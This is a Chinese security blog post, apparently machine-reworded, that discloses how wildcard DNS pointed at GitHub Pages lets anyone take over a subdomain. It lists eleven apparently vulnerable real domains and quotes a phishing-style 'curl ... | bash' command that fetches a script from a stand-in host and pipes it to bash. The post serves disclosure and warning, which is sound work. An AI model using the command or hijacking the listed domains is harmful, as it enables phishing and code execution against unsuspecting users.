手艺阐发 | 我们来“挟制”个GitHub自定义域名玩吧!
*
声明:本文仅作为手艺讨论与分享,严禁用于非法用途。
猥琐发育,别浪2333
作为一个国内外项目都不怎么挖的我,比较喜好拿本人正在使用的服务入手挖洞,毕竟拥有需求又了解营业才能长期跟进,更好的去发现种种流程上出现的毛病。
近日闲得无聊,看了看GitHub Pages服务的更新内容,可以支持自定义域名SSL自动签证了?E妹妹m… 阔以阔以,blog可以归回托管到github了。
顺便打算给手上每一个项目放个查看document的页面,并且分别调配单独的二级域名给每一个项目,多咩高端,多咩大气!
然则这么多项目需要一个个增添域名真是好叽儿麻烦哦…
爽性泛解析到github page的服务器吧!以后就只要要在github里绑定域名,就不需要每一个项目再去增添DNS解析了!
哎?泛解析到公共服务器?…
常规“打野挖洞”的思路告诉我,这个单方面绑定域名的配置方式,必定要出点啥幺蛾子…
域名从DNS解析到服务器后端解析到特定项目,流程上可能会有安全问题
每一个注册用户都能发布并托管page,这可控性有些广,或许此行可以GANK一波呢…
解析流程中的缺陷
批量解析到公共服务器… 然则这个服务器每一小我私人都能部署page… 是否是说…
我可以配置部署到别人的泛解析的域名下?以此挟制某个二级域名,试试用来钓鱼github用户或者看文档的项目使用者呢?
要是某个用户像我所想使用了泛解析来批量给本人项目挂自定义域名,那实际流程会是如许的:
单独二级域名的解析流程: www.deepwn.com => GitHub Page
:
而泛解析域名的解析流程 *.deepwn.com => GitHub Page
:
如你所见,要是一个用户自定义域名被泛解析到了GitHub的服务器,当你查询DNS时辰,任何二级都会指向GitHub,然则因为没有配置部署指向某个项目,所以会显示GitHub的404页面。
那么问题来了,所有效户都能给本人的项目配置部署,使用的是一样一组GitHub的服务器,并且服务器不会验证你是否是域名所有者,也毫无措施查询是否允许域名绑定到某个项目,所以说只需能找到一个用户配置心大的域名,就能最先挟制之旅了。
譬如这个我挂的hijack_demo: http://hijack.michellerobinscreative.com
有若干域名被使用在项目Page上呢?
你可以搜一下,会发现炒鸡多的项目开通了Page,并且每天操作更新page的的频率极其高…
有若干域名可以被挟制呢?
仅仅获取了1天的数据量(700+),就发现了11个可悲的域名… 天呐撸…
2018-05-14 (day: 13–14)
androidx.de
bayes.dk
claudiuandrei.com
crunchbitcoin.com
eskont.ponomarevlad.ru
fwb.app
goldtum.com
hijack.michellerobinscreative.com (这个是我demo用的)
lit.max.pub
paulispace.com
sumit.app
valuate.app
小我私人建议
GitHub在用户配置域名的时辰会检查DNS配置,要是解析错误或者解析有问题将会在配置页面添加提醒。
那么为什么不添加个检查功能,让用户“双向验证”本人使用的域名呢?
就像某些能绑定自定义域名的Mail公共服务同样,让用户添加一条’TXT’解析来验证这个域名只能绑定到某个用户群。如许不就能避免被挟制,进行双向配置嘛?
熊怼面对现实吧
这个问题我早已经发到“GitHub Security Bug Bounty”,然则因为越过项目接受的范围,或许这个配置项的”BUG”并不会有修复变更。
也许会在以后GitHub更新中才会出现缓解措施,所以我写下此文也只是想警戒各位GitHub用户需要主动去面对以及进行检查。
所以,黑客技术,在没有添加类似的溯源检查服务之前,请务必注意本人的解析设定避免被挟制钓鱼的麻烦。
PS: 万一被挟制,用来钓鱼你的GitHub账号?再或者挟制你的某二级域名,克隆你项目的document页面,挂上一个恶意的“升级设置脚本”,再给使用你开源项目的用户发送钓鱼的升级页面或者补丁地址?在或者爽性发送个钓鱼的“一键补丁”curl -sL http://patch.example.com/update.sh | bash
实在从社工角度,可操作的范围还挺广,万一目标项目有泛解析问题,成本低到开个新repo就行。
我们可以看到help页面已经添加了关于这个问题的正告,但问题是有若干人会看到以及留意到这条内容呢?真是尴尬的解决方式…
https://help.github.com/articles/troubleshooting-custom-domains/#unsupported-custom-domain-name.
从p讲演的归复看来,GitHub并不会在近期修改服务去解决这个问题,那么在出现缓解方式以及修复方案出现前,我们只能靠告知更多人去了解问题,让人人主动提高安全意识了。
我写了个游手好闲的POC提醒你
https://github.com/deepwn/GitPageHijack/
别特么在Page自定义域名里使用泛解析 !!!
别特么在Page自定义域名里使用泛解析 !!!
别特么在Page自定义域名里使用泛解析 !!!
dev with love & hack with love
*